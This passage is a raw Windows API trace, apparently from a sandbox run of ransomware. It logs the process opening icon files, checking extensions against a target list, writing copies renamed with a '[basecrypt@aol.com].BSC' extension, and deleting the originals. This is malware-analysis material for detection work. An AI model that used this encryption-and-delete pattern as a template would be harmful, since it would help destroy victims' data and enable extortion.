(lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.946] lstrlenW (lpString=".jpg") returned 4 [0102.947] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.947] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0102.947] lstrlenW (lpString="Print.ico") returned 9 [0102.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0102.961] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=1150) returned 1 [0102.961] CloseHandle (hObject=0x324) returned 1 [0102.961] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0102.961] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.961] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0102.961] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.962] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.962] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.962] GetLastError () returned 0x0 [0102.962] ReadFile (in: hFile=0x324, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x47e, lpOverlapped=0x0) returned 1 [0103.097] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x480, lpOverlapped=0x0) returned 1 [0103.099] ReadFile (in: hFile=0x324, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.099] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xe6, lpOverlapped=0x0) returned 1 [0103.099] SetEndOfFile (hFile=0x30c) returned 1 [0103.099] CloseHandle (hObject=0x30c) returned 1 [0103.100] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.100] SetEndOfFile (hFile=0x324) returned 1 [0103.101] CloseHandle (hObject=0x324) returned 1 [0103.101] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.102] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0103.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.102] lstrlenW (lpString=".doc") returned 4 [0103.102] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.102] lstrlenW (lpString=".docx") returned 5 [0103.102] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.102] lstrlenW (lpString=".pdf") returned 4 [0103.102] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.102] lstrlenW (lpString=".xls") returned 4 [0103.102] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.102] lstrlenW (lpString=".xlsx") returned 5 [0103.102] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.102] lstrlenW (lpString=".ppt") returned 4 [0103.102] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.103] lstrlenW (lpString=".zip") returned 4 [0103.103] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.103] lstrlenW (lpString=".rar") returned 4 [0103.103] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.103] lstrlenW (lpString=".bz2") returned 4 [0103.103] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.103] lstrlenW (lpString=".7z") returned 3 [0103.103] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.103] lstrlenW (lpString=".dbf") returned 4 [0103.103] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.103] lstrlenW (lpString=".1cd") returned 4 [0103.103] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.103] lstrlenW (lpString=".jpg") returned 4 [0103.103] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.104] lstrlenW (lpString=".doc") returned 4 [0103.104] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.104] lstrlenW (lpString=".docx") returned 5 [0103.104] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0103.104] lstrlenW (lpString=".pdf") returned 4 [0103.104] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.104] lstrlenW (lpString=".xls") returned 4 [0103.104] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.104] lstrlenW (lpString=".xlsx") returned 5 [0103.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0103.104] lstrlenW (lpString=".ppt") returned 4 [0103.104] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.104] lstrlenW (lpString=".zip") returned 4 [0103.104] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.104] lstrlenW (lpString=".rar") returned 4 [0103.104] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.104] lstrlenW (lpString=".bz2") returned 4 [0103.105] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.105] lstrlenW (lpString=".7z") returned 3 [0103.105] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.105] lstrlenW (lpString=".dbf") returned 4 [0103.105] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.105] lstrlenW (lpString=".1cd") returned 4 [0103.105] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0103.105] lstrlenW (lpString=".jpg") returned 4 [0103.105] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.105] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.105] lstrlenW (lpString="Rotate4.ico") returned 11 [0103.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0103.124] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=894) returned 1 [0103.124] CloseHandle (hObject=0x324) returned 1 [0103.124] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0103.124] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.124] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0103.124] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.124] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.124] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0103.124] GetLastError () returned 0x0 [0103.124] ReadFile (in: hFile=0x324, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.226] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.227] ReadFile (in: hFile=0x324, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.227] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.228] SetEndOfFile (hFile=0x30c) returned 1 [0103.228] CloseHandle (hObject=0x30c) returned 1 [0103.228] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.228] SetEndOfFile (hFile=0x324) returned 1 [0103.229] CloseHandle (hObject=0x324) returned 1 [0103.229] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.230] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0103.230] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.230] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.230] lstrlenW (lpString=".doc") returned 4 [0103.230] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.230] lstrlenW (lpString=".docx") returned 5 [0103.230] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0103.230] lstrlenW (lpString=".pdf") returned 4 [0103.230] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.230] lstrlenW (lpString=".xls") returned 4 [0103.230] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.231] lstrlenW (lpString=".xlsx") returned 5 [0103.231] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0103.231] lstrlenW (lpString=".ppt") returned 4 [0103.231] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.231] lstrlenW (lpString=".zip") returned 4 [0103.231] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.231] lstrlenW (lpString=".rar") returned 4 [0103.231] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.231] lstrlenW (lpString=".bz2") returned 4 [0103.231] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.231] lstrlenW (lpString=".7z") returned 3 [0103.231] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.231] lstrlenW (lpString=".dbf") returned 4 [0103.231] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.231] lstrlenW (lpString=".1cd") returned 4 [0103.231] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.231] lstrlenW (lpString=".jpg") returned 4 [0103.231] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.231] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.231] lstrlenW (lpString=".doc") returned 4 [0103.232] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.232] lstrlenW (lpString=".docx") returned 5 [0103.232] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0103.232] lstrlenW (lpString=".pdf") returned 4 [0103.232] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.232] lstrlenW (lpString=".xls") returned 4 [0103.232] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.232] lstrlenW (lpString=".xlsx") returned 5 [0103.232] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0103.232] lstrlenW (lpString=".ppt") returned 4 [0103.232] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.232] lstrlenW (lpString=".zip") returned 4 [0103.232] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.232] lstrlenW (lpString=".rar") returned 4 [0103.232] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.232] lstrlenW (lpString=".bz2") returned 4 [0103.232] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.232] lstrlenW (lpString=".7z") returned 3 [0103.232] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.232] lstrlenW (lpString=".dbf") returned 4 [0103.232] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.232] lstrlenW (lpString=".1cd") returned 4 [0103.232] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0103.233] lstrlenW (lpString=".jpg") returned 4 [0103.233] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.233] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.233] lstrlenW (lpString="Rotate6.ico") returned 11 [0103.233] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0103.233] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=894) returned 1 [0103.234] CloseHandle (hObject=0x324) returned 1 [0103.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0103.234] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0103.234] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.234] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0103.234] GetLastError () returned 0x0 [0103.234] ReadFile (in: hFile=0x324, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x37e, lpOverlapped=0x0) returned 1 [0103.338] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x380, lpOverlapped=0x0) returned 1 [0103.340] ReadFile (in: hFile=0x324, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.340] WriteFile (in: hFile=0x30c, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xea, lpOverlapped=0x0) returned 1 [0103.340] SetEndOfFile (hFile=0x30c) returned 1 [0103.353] CloseHandle (hObject=0x30c) returned 1 [0103.357] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.357] SetEndOfFile (hFile=0x324) returned 1 [0103.359] CloseHandle (hObject=0x324) returned 1 [0103.359] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.359] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0103.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.360] lstrlenW (lpString=".doc") returned 4 [0103.360] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.360] lstrlenW (lpString=".docx") returned 5 [0103.360] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0103.360] lstrlenW (lpString=".pdf") returned 4 [0103.360] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.360] lstrlenW (lpString=".xls") returned 4 [0103.360] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.360] lstrlenW (lpString=".xlsx") returned 5 [0103.360] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0103.360] lstrlenW (lpString=".ppt") returned 4 [0103.360] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.360] lstrlenW (lpString=".zip") returned 4 [0103.360] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.360] lstrlenW (lpString=".rar") returned 4 [0103.360] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.360] lstrlenW (lpString=".bz2") returned 4 [0103.360] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.360] lstrlenW (lpString=".7z") returned 3 [0103.361] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.361] lstrlenW (lpString=".dbf") returned 4 [0103.361] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.361] lstrlenW (lpString=".1cd") returned 4 [0103.361] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.361] lstrlenW (lpString=".jpg") returned 4 [0103.361] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.361] lstrlenW (lpString=".doc") returned 4 [0103.361] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.361] lstrlenW (lpString=".docx") returned 5 [0103.361] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0103.361] lstrlenW (lpString=".pdf") returned 4 [0103.361] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.361] lstrlenW (lpString=".xls") returned 4 [0103.361] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.361] lstrlenW (lpString=".xlsx") returned 5 [0103.361] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0103.361] lstrlenW (lpString=".ppt") returned 4 [0103.361] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.362] lstrlenW (lpString=".zip") returned 4 [0103.362] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.362] lstrlenW (lpString=".rar") returned 4 [0103.362] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.362] lstrlenW (lpString=".bz2") returned 4 [0103.362] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.362] lstrlenW (lpString=".7z") returned 3 [0103.362] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.362] lstrlenW (lpString=".dbf") returned 4 [0103.362] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.362] lstrlenW (lpString=".1cd") returned 4 [0103.362] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0103.362] lstrlenW (lpString=".jpg") returned 4 [0103.362] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.362] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0103.362] lstrlenW (lpString="stop.ico") returned 8 [0103.362] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.386] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=10134) returned 1 [0103.386] CloseHandle (hObject=0x334) returned 1 [0103.386] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0103.386] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.686] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0103.686] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.686] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.687] GetLastError () returned 0x0 [0103.687] ReadFile (in: hFile=0x32c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x2796, lpOverlapped=0x0) returned 1 [0103.890] WriteFile (in: hFile=0x358, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x27a0, 